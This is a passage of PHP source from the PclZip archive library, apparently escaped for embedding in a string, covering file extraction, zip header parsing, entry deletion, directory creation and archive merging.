1) { return \$v_result; } if (\$this->privCheckFileHeaders(\$v_header, \$p_entry) != 1) { } if (\$p_remove_all_path == true) { if ((\$p_entry['external']&0x00000010)==0x00000010) { \$p_entry['status'] = \"filtered\"; return \$v_result; } \$p_entry['filename'] = basename(\$p_entry['filename']); } else if (\$p_remove_path != \"\") { if (PclZipUtilPathInclusion(\$p_remove_path, \$p_entry['filename']) == 2) { \$p_entry['status'] = \"filtered\"; return \$v_result; } \$p_remove_path_size = strlen(\$p_remove_path); if (substr(\$p_entry['filename'], 0, \$p_remove_path_size) == \$p_remove_path) { \$p_entry['filename'] = substr(\$p_entry['filename'], \$p_remove_path_size); } } if (\$p_path != '') { \$p_entry['filename'] = \$p_path.\"/\".\$p_entry['filename']; } if (isset(\$p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { \$v_inclusion = PclZipUtilPathInclusion(\$p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], \$p_entry['filename']); if (\$v_inclusion == 0) { PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, \"Filename '\".\$p_entry['filename'].\"' is \" .\"outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION\"); return PclZip::errorCode(); } } if (isset(\$p_options[PCLZIP_CB_PRE_EXTRACT])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_entry, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, \$v_local_header); if (\$v_result == 0) { \$p_entry['status'] = \"skipped\"; \$v_result = 1; } if (\$v_result == 2) { \$p_entry['status'] = \"aborted\"; \$v_result = PCLZIP_ERR_USER_ABORTED; } \$p_entry['filename'] = \$v_local_header['filename']; } if (\$p_entry['status'] == 'ok') { if (file_exists(\$p_entry['filename'])) { if (is_dir(\$p_entry['filename'])) { \$p_entry['status'] = \"already_a_directory\"; if ( (isset(\$p_options[PCLZIP_OPT_STOP_ON_ERROR])) && (\$p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, \"Filename '\".\$p_entry['filename'].\"' is \" .\"already used by an existing directory\"); return PclZip::errorCode(); } } else if (!is_writeable(\$p_entry['filename'])) { \$p_entry['status'] = \"write_protected\"; if ( (isset(\$p_options[PCLZIP_OPT_STOP_ON_ERROR])) && (\$p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, \"Filename '\".\$p_entry['filename'].\"' exists \" .\"and is write protected\"); return PclZip::errorCode(); } } else if (filemtime(\$p_entry['filename']) > \$p_entry['mtime']) { if ( (isset(\$p_options[PCLZIP_OPT_REPLACE_NEWER])) && (\$p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { } else { \$p_entry['status'] = \"newer_exist\"; if ( (isset(\$p_options[PCLZIP_OPT_STOP_ON_ERROR])) && (\$p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, \"Newer version of '\".\$p_entry['filename'].\"' exists \" .\"and option PCLZIP_OPT_REPLACE_NEWER is not selected\"); return PclZip::errorCode(); } } } else { } } else { if (((\$p_entry['external']&0x00000010)==0x00000010) || (substr(\$p_entry['filename'], -1) == '/')) \$v_dir_to_check = \$p_entry['filename']; else if (!strstr(\$p_entry['filename'], \"/\")) \$v_dir_to_check = \"\"; else \$v_dir_to_check = dirname(\$p_entry['filename']); if ((\$v_result = \$this->privDirCheck(\$v_dir_to_check, ((\$p_entry['external']&0x00000010)==0x00000010))) != 1) { \$p_entry['status'] = \"path_creation_fail\"; \$v_result = 1; } } } if (\$p_entry['status'] == 'ok') { if (!((\$p_entry['external']&0x00000010)==0x00000010)) { if (\$p_entry['compression'] == 0) { if ((\$v_dest_file = @fopen(\$p_entry['filename'], 'wb')) == 0) { \$p_entry['status'] = \"write_error\"; return \$v_result; } \$v_size = \$p_entry['compressed_size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$this->zip_fd, \$v_read_size); @fwrite(\$v_dest_file, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } fclose(\$v_dest_file); touch(\$p_entry['filename'], \$p_entry['mtime']); } else { if ((\$p_entry['flag'] & 1) == 1) { PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \\''.\$p_entry['filename'].'\\' is encrypted. Encrypted files are not supported.'); return PclZip::errorCode(); } if ( (!isset(\$p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset(\$p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset(\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && (\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= \$p_entry['size'])) ) ) { \$v_result = \$this->privExtractFileUsingTempFile(\$p_entry, \$p_options); if (\$v_result < PCLZIP_ERR_NO_ERROR) { return \$v_result; } } else { \$v_buffer = @fread(\$this->zip_fd, \$p_entry['compressed_size']); \$v_file_content = @gzinflate(\$v_buffer); unset(\$v_buffer); if (\$v_file_content === FALSE) { \$p_entry['status'] = \"error\"; return \$v_result; } if ((\$v_dest_file = @fopen(\$p_entry['filename'], 'wb')) == 0) { \$p_entry['status'] = \"write_error\"; return \$v_result; } @fwrite(\$v_dest_file, \$v_file_content, \$p_entry['size']); unset(\$v_file_content); @fclose(\$v_dest_file); } @touch(\$p_entry['filename'], \$p_entry['mtime']); } if (isset(\$p_options[PCLZIP_OPT_SET_CHMOD])) { @chmod(\$p_entry['filename'], \$p_options[PCLZIP_OPT_SET_CHMOD]); } } } if (\$p_entry['status'] == \"aborted\") { \$p_entry['status'] = \"skipped\"; } elseif (isset(\$p_options[PCLZIP_CB_POST_EXTRACT])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_entry, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, \$v_local_header); if (\$v_result == 2) { \$v_result = PCLZIP_ERR_USER_ABORTED; } } return \$v_result; } function privExtractFileUsingTempFile(&\$p_entry, &\$p_options) { \$v_result=1; \$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; if ((\$v_dest_file = @fopen(\$v_gzip_temp_name, \"wb\")) == 0) { fclose(\$v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_gzip_temp_name.'\\' in binary write mode'); return PclZip::errorCode(); } \$v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr(\$p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3)); @fwrite(\$v_dest_file, \$v_binary_data, 10); \$v_size = \$p_entry['compressed_size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$this->zip_fd, \$v_read_size); @fwrite(\$v_dest_file, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$v_binary_data = pack('VV', \$p_entry['crc'], \$p_entry['size']); @fwrite(\$v_dest_file, \$v_binary_data, 8); @fclose(\$v_dest_file); if ((\$v_dest_file = @fopen(\$p_entry['filename'], 'wb')) == 0) { \$p_entry['status'] = \"write_error\"; return \$v_result; } if ((\$v_src_file = @gzopen(\$v_gzip_temp_name, 'rb')) == 0) { @fclose(\$v_dest_file); \$p_entry['status'] = \"read_error\"; PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_gzip_temp_name.'\\' in binary read mode'); return PclZip::errorCode(); } \$v_size = \$p_entry['size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @gzread(\$v_src_file, \$v_read_size); @fwrite(\$v_dest_file, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } @fclose(\$v_dest_file); @gzclose(\$v_src_file); @unlink(\$v_gzip_temp_name); return \$v_result; } function privExtractFileInOutput(&\$p_entry, &\$p_options) { \$v_result=1; if ((\$v_result = \$this->privReadFileHeader(\$v_header)) != 1) { return \$v_result; } if (\$this->privCheckFileHeaders(\$v_header, \$p_entry) != 1) { } if (isset(\$p_options[PCLZIP_CB_PRE_EXTRACT])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_entry, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, \$v_local_header); if (\$v_result == 0) { \$p_entry['status'] = \"skipped\"; \$v_result = 1; } if (\$v_result == 2) { \$p_entry['status'] = \"aborted\"; \$v_result = PCLZIP_ERR_USER_ABORTED; } \$p_entry['filename'] = \$v_local_header['filename']; } if (\$p_entry['status'] == 'ok') { if (!((\$p_entry['external']&0x00000010)==0x00000010)) { if (\$p_entry['compressed_size'] == \$p_entry['size']) { \$v_buffer = @fread(\$this->zip_fd, \$p_entry['compressed_size']); echo \$v_buffer; unset(\$v_buffer); } else { \$v_buffer = @fread(\$this->zip_fd, \$p_entry['compressed_size']); \$v_file_content = gzinflate(\$v_buffer); unset(\$v_buffer); echo \$v_file_content; unset(\$v_file_content); } } } if (\$p_entry['status'] == \"aborted\") { \$p_entry['status'] = \"skipped\"; } elseif (isset(\$p_options[PCLZIP_CB_POST_EXTRACT])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_entry, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, \$v_local_header); if (\$v_result == 2) { \$v_result = PCLZIP_ERR_USER_ABORTED; } } return \$v_result; } function privExtractFileAsString(&\$p_entry, &\$p_string, &\$p_options) { \$v_result=1; \$v_header = array(); if ((\$v_result = \$this->privReadFileHeader(\$v_header)) != 1) { return \$v_result; } if (\$this->privCheckFileHeaders(\$v_header, \$p_entry) != 1) { } if (isset(\$p_options[PCLZIP_CB_PRE_EXTRACT])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_entry, \$v_local_header); \$v_result = \$p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, \$v_local_header); if (\$v_result == 0) { \$p_entry['status'] = \"skipped\"; \$v_result = 1; } if (\$v_result == 2) { \$p_entry['status'] = \"aborted\"; \$v_result = PCLZIP_ERR_USER_ABORTED; } \$p_entry['filename'] = \$v_local_header['filename']; } if (\$p_entry['status'] == 'ok') { if (!((\$p_entry['external']&0x00000010)==0x00000010)) { if (\$p_entry['compression'] == 0) { \$p_string = @fread(\$this->zip_fd, \$p_entry['compressed_size']); } else { \$v_data = @fread(\$this->zip_fd, \$p_entry['compressed_size']); if ((\$p_string = @gzinflate(\$v_data)) === FALSE) { } } } else { } } if (\$p_entry['status'] == \"aborted\") { \$p_entry['status'] = \"skipped\"; } elseif (isset(\$p_options[PCLZIP_CB_POST_EXTRACT])) { \$v_local_header = array(); \$this->privConvertHeader2FileInfo(\$p_entry, \$v_local_header); \$v_local_header['content'] = \$p_string; \$p_string = ''; \$v_result = \$p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, \$v_local_header); \$p_string = \$v_local_header['content']; unset(\$v_local_header['content']); if (\$v_result == 2) { \$v_result = PCLZIP_ERR_USER_ABORTED; } } return \$v_result; } function privReadFileHeader(&\$p_header) { \$v_result=1; \$v_binary_data = @fread(\$this->zip_fd, 4); \$v_data = unpack('Vid', \$v_binary_data); if (\$v_data['id'] != 0x04034b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); return PclZip::errorCode(); } \$v_binary_data = fread(\$this->zip_fd, 26); if (strlen(\$v_binary_data) != 26) { \$p_header['filename'] = \"\"; \$p_header['status'] = \"invalid_header\"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \"Invalid block size : \".strlen(\$v_binary_data)); return PclZip::errorCode(); } \$v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', \$v_binary_data); \$p_header['filename'] = fread(\$this->zip_fd, \$v_data['filename_len']); if (\$v_data['extra_len'] != 0) { \$p_header['extra'] = fread(\$this->zip_fd, \$v_data['extra_len']); } else { \$p_header['extra'] = ''; } \$p_header['version_extracted'] = \$v_data['version']; \$p_header['compression'] = \$v_data['compression']; \$p_header['size'] = \$v_data['size']; \$p_header['compressed_size'] = \$v_data['compressed_size']; \$p_header['crc'] = \$v_data['crc']; \$p_header['flag'] = \$v_data['flag']; \$p_header['filename_len'] = \$v_data['filename_len']; \$p_header['mdate'] = \$v_data['mdate']; \$p_header['mtime'] = \$v_data['mtime']; if (\$p_header['mdate'] && \$p_header['mtime']) { \$v_hour = (\$p_header['mtime'] & 0xF800) >> 11; \$v_minute = (\$p_header['mtime'] & 0x07E0) >> 5; \$v_seconde = (\$p_header['mtime'] & 0x001F)*2; \$v_year = ((\$p_header['mdate'] & 0xFE00) >> 9) + 1980; \$v_month = (\$p_header['mdate'] & 0x01E0) >> 5; \$v_day = \$p_header['mdate'] & 0x001F; \$p_header['mtime'] = @mktime(\$v_hour, \$v_minute, \$v_seconde, \$v_month, \$v_day, \$v_year); } else { \$p_header['mtime'] = time(); } \$p_header['stored_filename'] = \$p_header['filename']; \$p_header['status'] = \"ok\"; return \$v_result; } function privReadCentralFileHeader(&\$p_header) { \$v_result=1; \$v_binary_data = @fread(\$this->zip_fd, 4); \$v_data = unpack('Vid', \$v_binary_data); if (\$v_data['id'] != 0x02014b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); return PclZip::errorCode(); } \$v_binary_data = fread(\$this->zip_fd, 42); if (strlen(\$v_binary_data) != 42) { \$p_header['filename'] = \"\"; \$p_header['status'] = \"invalid_header\"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \"Invalid block size : \".strlen(\$v_binary_data)); return PclZip::errorCode(); } \$p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', \$v_binary_data); if (\$p_header['filename_len'] != 0) \$p_header['filename'] = fread(\$this->zip_fd, \$p_header['filename_len']); else \$p_header['filename'] = ''; if (\$p_header['extra_len'] != 0) \$p_header['extra'] = fread(\$this->zip_fd, \$p_header['extra_len']); else \$p_header['extra'] = ''; if (\$p_header['comment_len'] != 0) \$p_header['comment'] = fread(\$this->zip_fd, \$p_header['comment_len']); else \$p_header['comment'] = ''; if (1) { \$v_hour = (\$p_header['mtime'] & 0xF800) >> 11; \$v_minute = (\$p_header['mtime'] & 0x07E0) >> 5; \$v_seconde = (\$p_header['mtime'] & 0x001F)*2; \$v_year = ((\$p_header['mdate'] & 0xFE00) >> 9) + 1980; \$v_month = (\$p_header['mdate'] & 0x01E0) >> 5; \$v_day = \$p_header['mdate'] & 0x001F; \$p_header['mtime'] = @mktime(\$v_hour, \$v_minute, \$v_seconde, \$v_month, \$v_day, \$v_year); } else { \$p_header['mtime'] = time(); } \$p_header['stored_filename'] = \$p_header['filename']; \$p_header['status'] = 'ok'; if (substr(\$p_header['filename'], -1) == '/') { \$p_header['external'] = 0x00000010; } return \$v_result; } function privCheckFileHeaders(&\$p_local_header, &\$p_central_header) { \$v_result=1; if (\$p_local_header['filename'] != \$p_central_header['filename']) { } if (\$p_local_header['version_extracted'] != \$p_central_header['version_extracted']) { } if (\$p_local_header['flag'] != \$p_central_header['flag']) { } if (\$p_local_header['compression'] != \$p_central_header['compression']) { } if (\$p_local_header['mtime'] != \$p_central_header['mtime']) { } if (\$p_local_header['filename_len'] != \$p_central_header['filename_len']) { } if ((\$p_local_header['flag'] & 8) == 8) { \$p_local_header['size'] = \$p_central_header['size']; \$p_local_header['compressed_size'] = \$p_central_header['compressed_size']; \$p_local_header['crc'] = \$p_central_header['crc']; } return \$v_result; } function privReadEndCentralDir(&\$p_central_dir) { \$v_result=1; \$v_size = filesize(\$this->zipname); @fseek(\$this->zip_fd, \$v_size); if (@ftell(\$this->zip_fd) != \$v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \\''.\$this->zipname.'\\''); return PclZip::errorCode(); } \$v_found = 0; if (\$v_size > 26) { @fseek(\$this->zip_fd, \$v_size-22); if ((\$v_pos = @ftell(\$this->zip_fd)) != (\$v_size-22)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \\''.\$this->zipname.'\\''); return PclZip::errorCode(); } \$v_binary_data = @fread(\$this->zip_fd, 4); \$v_data = @unpack('Vid', \$v_binary_data); if (\$v_data['id'] == 0x06054b50) { \$v_found = 1; } \$v_pos = ftell(\$this->zip_fd); } if (!\$v_found) { \$v_maximum_size = 65557; if (\$v_maximum_size > \$v_size) \$v_maximum_size = \$v_size; @fseek(\$this->zip_fd, \$v_size-\$v_maximum_size); if (@ftell(\$this->zip_fd) != (\$v_size-\$v_maximum_size)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \\''.\$this->zipname.'\\''); return PclZip::errorCode(); } \$v_pos = ftell(\$this->zip_fd); \$v_bytes = 0x00000000; while (\$v_pos < \$v_size) { \$v_byte = @fread(\$this->zip_fd, 1); \$v_bytes = ( (\$v_bytes & 0xFFFFFF) << 8) | Ord(\$v_byte); if (\$v_bytes == 0x504b0506) { \$v_pos++; break; } \$v_pos++; } if (\$v_pos == \$v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \"Unable to find End of Central Dir Record signature\"); return PclZip::errorCode(); } } \$v_binary_data = fread(\$this->zip_fd, 18); if (strlen(\$v_binary_data) != 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \"Invalid End of Central Dir Record size : \".strlen(\$v_binary_data)); return PclZip::errorCode(); } \$v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', \$v_binary_data); if ((\$v_pos + \$v_data['comment_size'] + 18) != \$v_size) { if (0) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'The central dir is not at the end of the archive.' .' Some trailing bytes exists after the archive.'); return PclZip::errorCode(); } } if (\$v_data['comment_size'] != 0) { \$p_central_dir['comment'] = fread(\$this->zip_fd, \$v_data['comment_size']); } else \$p_central_dir['comment'] = ''; \$p_central_dir['entries'] = \$v_data['entries']; \$p_central_dir['disk_entries'] = \$v_data['disk_entries']; \$p_central_dir['offset'] = \$v_data['offset']; \$p_central_dir['size'] = \$v_data['size']; \$p_central_dir['disk'] = \$v_data['disk']; \$p_central_dir['disk_start'] = \$v_data['disk_start']; return \$v_result; } function privDeleteByRule(&\$p_result_list, &\$p_options) { \$v_result=1; \$v_list_detail = array(); if ((\$v_result=\$this->privOpenFd('rb')) != 1) { return \$v_result; } \$v_central_dir = array(); if ((\$v_result = \$this->privReadEndCentralDir(\$v_central_dir)) != 1) { \$this->privCloseFd(); return \$v_result; } @rewind(\$this->zip_fd); \$v_pos_entry = \$v_central_dir['offset']; @rewind(\$this->zip_fd); if (@fseek(\$this->zip_fd, \$v_pos_entry)) { \$this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } \$v_header_list = array(); \$j_start = 0; for (\$i=0, \$v_nb_extracted=0; \$i<\$v_central_dir['entries']; \$i++) { \$v_header_list[\$v_nb_extracted] = array(); if ((\$v_result = \$this->privReadCentralFileHeader(\$v_header_list[\$v_nb_extracted])) != 1) { \$this->privCloseFd(); return \$v_result; } \$v_header_list[\$v_nb_extracted]['index'] = \$i; \$v_found = false; if ( (isset(\$p_options[PCLZIP_OPT_BY_NAME])) && (\$p_options[PCLZIP_OPT_BY_NAME] != 0)) { for (\$j=0; (\$j<sizeof(\$p_options[PCLZIP_OPT_BY_NAME])) && (!\$v_found); \$j++) { if (substr(\$p_options[PCLZIP_OPT_BY_NAME][\$j], -1) == \"/\") { if ( (strlen(\$v_header_list[\$v_nb_extracted]['stored_filename']) > strlen(\$p_options[PCLZIP_OPT_BY_NAME][\$j])) && (substr(\$v_header_list[\$v_nb_extracted]['stored_filename'], 0, strlen(\$p_options[PCLZIP_OPT_BY_NAME][\$j])) == \$p_options[PCLZIP_OPT_BY_NAME][\$j])) { \$v_found = true; } elseif ( ((\$v_header_list[\$v_nb_extracted]['external']&0x00000010)==0x00000010) && (\$v_header_list[\$v_nb_extracted]['stored_filename'].'/' == \$p_options[PCLZIP_OPT_BY_NAME][\$j])) { \$v_found = true; } } elseif (\$v_header_list[\$v_nb_extracted]['stored_filename'] == \$p_options[PCLZIP_OPT_BY_NAME][\$j]) { \$v_found = true; } } } else if ( (isset(\$p_options[PCLZIP_OPT_BY_PREG])) && (\$p_options[PCLZIP_OPT_BY_PREG] != \"\")) { if (preg_match(\$p_options[PCLZIP_OPT_BY_PREG], \$v_header_list[\$v_nb_extracted]['stored_filename'])) { \$v_found = true; } } else if ( (isset(\$p_options[PCLZIP_OPT_BY_INDEX])) && (\$p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for (\$j=\$j_start; (\$j<sizeof(\$p_options[PCLZIP_OPT_BY_INDEX])) && (!\$v_found); \$j++) { if ((\$i>=\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['start']) && (\$i<=\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['end'])) { \$v_found = true; } if (\$i>=\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['end']) { \$j_start = \$j+1; } if (\$p_options[PCLZIP_OPT_BY_INDEX][\$j]['start']>\$i) { break; } } } else { \$v_found = true; } if (\$v_found) { unset(\$v_header_list[\$v_nb_extracted]); } else { \$v_nb_extracted++; } } if (\$v_nb_extracted > 0) { \$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; \$v_temp_zip = new PclZip(\$v_zip_temp_name); if ((\$v_result = \$v_temp_zip->privOpenFd('wb')) != 1) { \$this->privCloseFd(); return \$v_result; } for (\$i=0; \$i<sizeof(\$v_header_list); \$i++) { @rewind(\$this->zip_fd); if (@fseek(\$this->zip_fd, \$v_header_list[\$i]['offset'])) { \$this->privCloseFd(); \$v_temp_zip->privCloseFd(); @unlink(\$v_zip_temp_name); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } \$v_local_header = array(); if ((\$v_result = \$this->privReadFileHeader(\$v_local_header)) != 1) { \$this->privCloseFd(); \$v_temp_zip->privCloseFd(); @unlink(\$v_zip_temp_name); return \$v_result; } if (\$this->privCheckFileHeaders(\$v_local_header, \$v_header_list[\$i]) != 1) { } unset(\$v_local_header); if ((\$v_result = \$v_temp_zip->privWriteFileHeader(\$v_header_list[\$i])) != 1) { \$this->privCloseFd(); \$v_temp_zip->privCloseFd(); @unlink(\$v_zip_temp_name); return \$v_result; } if ((\$v_result = PclZipUtilCopyBlock(\$this->zip_fd, \$v_temp_zip->zip_fd, \$v_header_list[\$i]['compressed_size'])) != 1) { \$this->privCloseFd(); \$v_temp_zip->privCloseFd(); @unlink(\$v_zip_temp_name); return \$v_result; } } \$v_offset = @ftell(\$v_temp_zip->zip_fd); for (\$i=0; \$i<sizeof(\$v_header_list); \$i++) { if ((\$v_result = \$v_temp_zip->privWriteCentralFileHeader(\$v_header_list[\$i])) != 1) { \$v_temp_zip->privCloseFd(); \$this->privCloseFd(); @unlink(\$v_zip_temp_name); return \$v_result; } \$v_temp_zip->privConvertHeader2FileInfo(\$v_header_list[\$i], \$p_result_list[\$i]); } \$v_comment = ''; if (isset(\$p_options[PCLZIP_OPT_COMMENT])) { \$v_comment = \$p_options[PCLZIP_OPT_COMMENT]; } \$v_size = @ftell(\$v_temp_zip->zip_fd)-\$v_offset; if ((\$v_result = \$v_temp_zip->privWriteCentralHeader(sizeof(\$v_header_list), \$v_size, \$v_offset, \$v_comment)) != 1) { unset(\$v_header_list); \$v_temp_zip->privCloseFd(); \$this->privCloseFd(); @unlink(\$v_zip_temp_name); return \$v_result; } \$v_temp_zip->privCloseFd(); \$this->privCloseFd(); @unlink(\$this->zipname); PclZipUtilRename(\$v_zip_temp_name, \$this->zipname); unset(\$v_temp_zip); } else if (\$v_central_dir['entries'] != 0) { \$this->privCloseFd(); if ((\$v_result = \$this->privOpenFd('wb')) != 1) { return \$v_result; } if ((\$v_result = \$this->privWriteCentralHeader(0, 0, 0, '')) != 1) { return \$v_result; } \$this->privCloseFd(); } return \$v_result; } function privDirCheck(\$p_dir, \$p_is_dir=false) { \$v_result = 1; if ((\$p_is_dir) && (substr(\$p_dir, -1)=='/')) { \$p_dir = substr(\$p_dir, 0, strlen(\$p_dir)-1); } if ((is_dir(\$p_dir)) || (\$p_dir == \"\")) { return 1; } \$p_parent_dir = dirname(\$p_dir); if (\$p_parent_dir != \$p_dir) { if (\$p_parent_dir != \"\") { if ((\$v_result = \$this->privDirCheck(\$p_parent_dir)) != 1) { return \$v_result; } } } if (!@mkdir(\$p_dir, 0777)) { PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, \"Unable to create directory '\$p_dir'\"); return PclZip::errorCode(); } return \$v_result; } function privMerge(&\$p_archive_to_add) { \$v_result=1; if (!is_file(\$p_archive_to_add->zipname)) { \$v_result = 1; return \$v_result; } if (!is_file(\$this->zipname)) { \$v_result = \$this->privDuplicate(\$p_archive_to_add->zipname); return \$v_result; } if ((\$v_result=\$this->privOpenFd('rb')) != 1) { return \$v_result; } \$v_central_dir = array(); if ((\$v_result = \$this->privReadEndCentralDir(\$v_central_dir)) != 1) { \$this->privCloseFd(); return \$v_result; } @rewind(\$this->zip_fd); if ((\$v_result=\$p_archive_to_add->privOpenFd('rb')) != 1) { \$this->privCloseFd(); return \$v_result; } \$v_central_dir_to_add = array(); if ((\$v_result = \$p_archive_to_add->privReadEndCentralDir(\$v_central_dir_to_add)) != 1) { \$this->privCloseFd(); \$p_archive_to_add->privCloseFd(); return \$v_result; } @rewind(\$p_archive_to_add->zip_fd); \$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; if ((\$v_zip_temp_fd = @fopen(\$v_zip_temp_name, 'wb')) == 0) { \$this->privCloseFd(); \$p_archive_to_add->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \\''.\$v_zip_temp_name.'\\' in binary write mode'); return PclZip::errorCode(); } \$v_size = \$v_central_dir['offset']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = fread(\$this->zip_fd, \$v_read_size); @fwrite(\$v_zip_temp_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$v_size = \$v_central_dir_to_add['offset']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = fread(\$p_archive_to_add->zip_fd, \$v_read_size); @fwrite(\$v_zip_temp_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$v_offset = @ftell(\$v_zip_temp_fd); \$v_size = \$v_central_dir['size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$this->zip_fd, \$v_read_size); @fwrite(\$v_zip_temp_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$v_size = \$v_central_dir_to_add['size']; while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$p_archive_to_add->zip_fd, \$v_read_size); @fwrite(\$v_zip_temp_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$v_comment = \$v_central_dir['comment'].' '.\$v_central_dir_to_add['comment']; \$v_size = @ftell(\$v_zip_temp_fd)-\$v_offset; \$v_swap = \$this->zip_fd; \$this->zip_fd = \$v_zip_temp_fd; \$v_zip_temp_fd = \$v_swap; if ((\$v_result = \$this->privWriteCentralHeader(\$v_central_dir['entries']+\$v_central_dir_to_add['entries'], \$v_size, \$v_offset, \$v_comment)) != 1) { \$this->privCloseFd(); \$p_archive_to_add->privCloseFd(); @fclose(\$v_zip_temp_fd); \$this->zip_fd = null; unset(\$v_header_list); return \$v_result; } \$v_swap = \$this->zip_fd; \$this->zip_fd = \$v_zip_temp_fd; \$v_zip_temp_fd = \$v_swap; \$this->privCloseFd(); \$p_archive_to_add->privCloseFd(); @fclose(\$v_zip_temp_fd); @unlink(\$this->zipname); PclZipUtilRename(\$v_zip_temp_name, \$this->zipname); return \$v_result; } function privDuplicate(\$p_archive_filename) { \$v_result=1; if (!is_file(\$p_archive_filename)) { \$v_result = 1; return \$v_result; } if ((\$v_result=\$this->privOpenFd('wb')) != 1) { return \$v_result; } if ((\$v_zip_temp_fd = @fopen(\$p_archive_filename, 'rb')) == 0) { \$this->privCloseFd(); 